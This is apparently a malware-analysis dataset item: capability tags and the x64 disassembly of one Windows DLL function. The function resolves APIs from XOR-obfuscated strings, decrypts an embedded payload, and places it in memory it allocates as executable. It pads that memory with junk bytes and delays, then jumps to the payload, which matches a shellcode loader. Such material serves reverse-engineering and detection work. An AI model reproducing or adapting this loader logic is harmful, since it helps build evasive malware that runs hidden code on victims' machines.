Function at 0x180001200
Capabilities:
Encode data using xor
Link many functions at runtime

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0xe0
mov rax, qword [0x180015008]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_SetErrorMode]
lea rcx, [fcn.1800011f0]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rdi, qword [0x180016b00]
xor ebx, ebx
xor eax, eax
mov dword [rbp - 0x79], ebx
mov qword [rbp - 0x51], rax
mov edx, ebx
mov qword [rbp - 0x49], rax
mov qword [rbp - 0x41], rax
mov qword [rbp - 0x39], rax
mov dword [rbp - 0x71], 0xe6efe939
mov dword [rbp - 0x6d], 0xe9f6e1d1
mov dword [rbp - 0x69], 0xefeafaf2
mov word [rbp - 0x65], 0xca
movsxd rax, edx
lea rcx, [rbp - 0x71]
add rcx, rax
lea eax, [rdx + 0x7f]
inc edx
xor byte [rcx], al
cmp edx, 0xd
jb 0x180001271
lea r8, [rbp - 0x71]
mov byte [rbp - 0x64], bl
mov edx, 0x20
lea rcx, [rbp - 0x51]
call fcn.180003d58
xor eax, eax
mov dword [rbp - 0x61], 0xecf3e534
mov qword [rbp - 0x11], rax
mov edx, ebx
mov qword [rbp - 9], rax
mov qword [rbp - 1], rax
mov qword [rbp + 7], rax
mov byte [rbp - 0x55], al
mov dword [rbp - 0x5d], 0xb4b6e8e6
mov dword [rbp - 0x59], 0xe6e5eca9
nop dword [rax + rax]
movsxd rax, edx
lea rcx, [rbp - 0x61]
add rcx, rax
lea eax, [rdx + 0x7f]
inc edx
xor byte [rcx], al
cmp edx, 0xc
jb 0x1800012d0
mov qword [rsp + 0x100], rsi
lea r8, [rbp - 0x61]
mov qword [rsp + 0x108], r12
lea rcx, [rbp - 0x11]
mov qword [rsp + 0x110], r13
mov edx, 0x20
mov qword [rsp + 0xd8], r14
mov qword [rsp + 0xd0], r15
mov byte [rbp - 0x55], bl
call fcn.180003d58
lea rcx, [rbp - 0x11]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x180001345
lea rcx, [rbp - 0x11]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x180001994
lea rdx, [rbp - 0x51]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9, rax
test rax, rax
je 0x180001994
mov dword [rbp - 0x61], 0xcfc93d
mov edx, ebx
nop word [rax + rax]
movsxd rcx, edx
lea eax, [rdx + 0x7f]
inc edx
xor byte [rbp + rcx - 0x61], al
cmp edx, 3
jb 0x180001370
lea r8, [rbp - 0x61]
mov byte [rbp - 0x5e], bl
mov edx, 0x81
mov rcx, rdi
call r9
mov rsi, rax
mov dword [rbp - 0x71], 0xe6e0ef33
xor eax, eax
mov dword [rbp - 0x6d], 0xe9f6e1d1
mov qword [rbp + 0xf], rax
mov edx, ebx
mov qword [rbp + 0x17], rax
mov qword [rbp + 0x1f], rax
mov qword [rbp + 0x27], rax
mov byte [rbp - 0x65], al
mov dword [rbp - 0x69], 0xefeafaf2
nop dword [rax]
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rbp - 0x71]
add rcx, rax
lea eax, [rdx + 0x7f]
inc edx
xor byte [rcx], al
cmp edx, 0xc
jb 0x1800013d0
lea r8, [rbp - 0x71]
mov byte [rbp - 0x65], bl
mov edx, 0x20
lea rcx, [rbp + 0xf]
call fcn.180003d58
xor eax, eax
mov dword [rbp - 0x71], 0xecf3e534
mov qword [rbp - 0x11], rax
mov edx, ebx
mov qword [rbp - 9], rax
mov qword [rbp - 1], rax
mov qword [rbp + 7], rax
mov byte [rbp - 0x65], al
mov dword [rbp - 0x6d], 0xb4b6e8e6
mov dword [rbp - 0x69], 0xe6e5eca9
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rbp - 0x71]
add rcx, rax
lea eax, [rdx + 0x7f]
inc edx
xor byte [rcx], al
cmp edx, 0xc
jb 0x180001430
lea r8, [rbp - 0x71]
mov byte [rbp - 0x65], bl
mov edx, 0x20
lea rcx, [rbp - 0x11]
call fcn.180003d58
lea rcx, [rbp - 0x11]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x18000147d
lea rcx, [rbp - 0x11]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x180001994
lea rdx, [rbp + 0xf]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180001994
mov rdx, rsi
mov rcx, rdi
call rax
mov r14, rax
mov dword [rbp - 0x71], 0xe7fbe92c
xor eax, eax
mov dword [rbp - 0x6d], 0xe3d7e2ec
mov qword [rbp - 0x31], rax
mov edx, ebx
mov qword [rbp - 0x29], rax
mov qword [rbp - 0x21], rax
mov qword [rbp - 0x19], rax
mov byte [rbp - 0x63], al
mov dword [rbp - 0x69], 0xf8fce7f4
mov word [rbp - 0x65], 0xe9e8
movsxd rax, edx
lea rcx, [rbp - 0x71]
add rcx, rax
lea eax, [rdx + 0x7f]
inc edx
xor byte [rcx], al
cmp edx, 0xe
jb 0x1800014d0
lea r8, [rbp - 0x71]
mov byte [rbp - 0x63], bl
mov edx, 0x20
lea rcx, [rbp - 0x31]
call fcn.180003d58
xor eax, eax
mov dword [rbp - 0x71], 0xecf3e534
mov qword [rbp - 0x51], rax
mov edx, ebx
mov qword [rbp - 0x49], rax
mov qword [rbp - 0x41], rax
mov qword [rbp - 0x39], rax
mov byte [rbp - 0x65], al
mov dword [rbp - 0x6d], 0xb4b6e8e6
mov dword [rbp - 0x69], 0xe6e5eca9
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rbp - 0x71]
add rcx, rax
lea eax, [rdx + 0x7f]
inc edx
xor byte [rcx], al
cmp edx, 0xc
jb 0x180001530
lea r8, [rbp - 0x71]
mov byte [rbp - 0x65], bl
mov edx, 0x20
lea rcx, [rbp - 0x51]
call fcn.180003d58
lea rcx, [rbp - 0x51]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x18000157d
lea rcx, [rbp - 0x51]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x180001994
lea rdx, [rbp - 0x31]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180001994
mov rdx, rsi
mov rcx, rdi
call rax
mov edi, eax
mov edx, ebx
xor eax, eax
mov dword [rbp - 0x71], 0xe9e2ef33
mov qword [rbp - 0x31], rax
mov qword [rbp - 0x29], rax
mov qword [rbp - 0x21], rax
mov qword [rbp - 0x19], rax
mov byte [rbp - 0x65], al
mov dword [rbp - 0x6d], 0xe9f6e1d1
mov dword [rbp - 0x69], 0xefeafaf2
nop dword [rax]
movsxd rax, edx
lea rcx, [rbp - 0x71]
add rcx, rax
lea eax, [rdx + 0x7f]
inc edx
xor byte [rcx], al
cmp edx, 0xc
jb 0x1800015d0
lea r8, [rbp - 0x71]
mov byte [rbp - 0x65], bl
mov edx, 0x20
lea rcx, [rbp - 0x31]
call fcn.180003d58
xor eax, eax
mov dword [rbp - 0x71], 0xecf3e534
mov qword [rbp - 0x51], rax
mov edx, ebx
mov qword [rbp - 0x49], rax
mov qword [rbp - 0x41], rax
mov qword [rbp - 0x39], rax
mov byte [rbp - 0x65], al
mov dword [rbp - 0x6d], 0xb4b6e8e6
mov dword [rbp - 0x69], 0xe6e5eca9
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rbp - 0x71]
add rcx, rax
lea eax, [rdx + 0x7f]
inc edx
xor byte [rcx], al
cmp edx, 0xc
jb 0x180001630
lea r8, [rbp - 0x71]
mov byte [rbp - 0x65], bl
mov edx, 0x20
lea rcx, [rbp - 0x51]
call fcn.180003d58
lea rcx, [rbp - 0x51]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x18000167d
lea rcx, [rbp - 0x51]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x180001994
lea rdx, [rbp - 0x31]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180001994
mov rcx, r14
call rax
mov rcx, rdi
mov rsi, rax
mov r12, rdi
call fcn.180001ae4
mov r13, rax
test rax, rax
je 0x180001994
mov r8, rdi
mov rdx, rsi
mov rcx, rax
call fcn.180003870
mov dword [rbp - 0x61], 0xc62caae6
mov dword [rbp - 0x5d], 0x5dca3bc5
test edi, edi
je 0x1800016fb
mov rcx, r13
mov rdx, rbx
mov r8, rdi
nop dword [rax + rax]
mov rax, rdx
lea rcx, [rcx + 1]
and eax, 7
inc rdx
movzx eax, byte [rbp + rax - 0x61]
xor byte [rcx - 1], al
sub r8, 1
jne 0x1800016e0
add edi, 0x400
mov dword [rbp - 0x71], 0xf6f3e929
xor eax, eax
mov dword [rbp - 0x6d], 0xc7e9e5f6
mov qword [rbp - 0x31], rax
mov edx, ebx
mov qword [rbp - 0x29], rax
mov qword [rbp - 0x21], rax
mov qword [rbp - 0x19], rax
mov byte [rbp - 0x65], al
mov dword [rbp - 0x69], 0xe9e6e4eb
nop dword [rax]
movsxd rax, edx
lea rcx, [rbp - 0x71]
add rcx, rax
lea eax, [rdx + 0x7f]
inc edx
xor byte [rcx], al
cmp edx, 0xc
jb 0x180001730
lea r8, [rbp - 0x71]
mov byte [rbp - 0x65], bl
mov edx, 0x20
lea rcx, [rbp - 0x31]
call fcn.180003d58
xor eax, eax
mov dword [rbp - 0x71], 0xecf3e534
mov qword [rbp - 0x51], rax
mov edx, ebx
mov qword [rbp - 0x49], rax
mov qword [rbp - 0x41], rax
mov qword [rbp - 0x39], rax
mov byte [rbp - 0x65], al
mov dword [rbp - 0x6d], 0xb4b6c8e6
mov dword [rbp - 0x69], 0xe6e5eca9
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rbp - 0x71]
add rcx, rax
lea eax, [rdx + 0x7f]
inc edx
xor byte [rcx], al
cmp edx, 0xc
jb 0x180001790
lea r8, [rbp - 0x71]
mov byte [rbp - 0x65], bl
mov edx, 0x20
lea rcx, [rbp - 0x51]
call fcn.180003d58
lea rcx, [rbp - 0x51]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x1800017dd
lea rcx, [rbp - 0x51]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x180001994
lea rdx, [rbp - 0x31]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180001994
movsxd r14, edi
mov r9d, 0x40
mov rdx, r14
mov r8d, 0x3000
xor ecx, ecx
call rax
mov r15, rax
test rax, rax
je 0x180001990
mov esi, ebx
test edi, edi
jle 0x180001879
mov rdi, rbx
nop
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r8d, eax
mov eax, 0x80808081
mul r8d
mov eax, 0x5397829d
shr edx, 7
imul ecx, edx, 0xff
imul esi
sub r8d, ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
mov ecx, esi
imul eax, edx, 0x31
sub ecx, eax
add r8b, cl
mov ecx, 1
mov byte [r15 + rdi], r8b
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, 0x89
jg 0x180001879
inc esi
inc rdi
cmp rdi, r14
jl 0x180001820
lea rdi, [r15 + 0x89]
mov r8, r12
mov rcx, rdi
mov rdx, r13
call fcn.180003870
xor eax, eax
mov dword [rbp - 0x71], 0xf6f3e929
mov qword [rbp - 0x31], rax
mov edx, ebx
mov qword [rbp - 0x29], rax
mov qword [rbp - 0x21], rax
mov qword [rbp - 0x19], rax
mov byte [rbp - 0x63], al
mov dword [rbp - 0x6d], 0xd6e9e5f6
mov dword [rbp - 0x69], 0xeffde7f5
mov word [rbp - 0x65], 0xf8e8
movsxd rax, edx
lea rcx, [rbp - 0x71]
add rcx, rax
lea eax, [rdx + 0x7f]
inc edx
xor byte [rcx], al
cmp edx, 0xe
jb 0x1800018c0
lea r8, [rbp - 0x71]
mov byte [rbp - 0x63], bl
mov edx, 0x20
lea rcx, [rbp - 0x31]
call fcn.180003d58
xor eax, eax
mov dword [rbp - 0x71], 0xecf3e534
mov qword [rbp - 0x51], rax
mov qword [rbp - 0x49], rax
mov qword [rbp - 0x41], rax
mov qword [rbp - 0x39], rax
mov byte [rbp - 0x65], al
mov dword [rbp - 0x6d], 0xb4b6c8e6
mov dword [rbp - 0x69], 0xe6e5eca9
nop word [rax + rax]
movsxd rax, ebx
lea rcx, [rbp - 0x71]
add rcx, rax
lea eax, [rbx + 0x7f]
inc ebx
xor byte [rcx], al
cmp ebx, 0xc
jb 0x180001920
lea r8, [rbp - 0x71]
mov byte [rbp - 0x65], 0
mov edx, 0x20
lea rcx, [rbp - 0x51]
call fcn.180003d58
lea rcx, [rbp - 0x51]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x18000196a
lea rcx, [rbp - 0x51]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x180001994
lea rdx, [rbp - 0x31]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180001994
lea r9, [rbp - 0x79]
mov r8d, 0x20
mov rdx, r14
mov rcx, r15
call rax
call rdi
mov al, 1
jmp 0x180001996
xor al, al
mov r15, qword [rsp + 0xd0]
mov r14, qword [rsp + 0xd8]
mov r13, qword [rsp + 0x110]
mov r12, qword [rsp + 0x108]
mov rsi, qword [rsp + 0x100]
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.180001ac0
add rsp, 0xe0
pop rdi
pop rbx
pop rbp
ret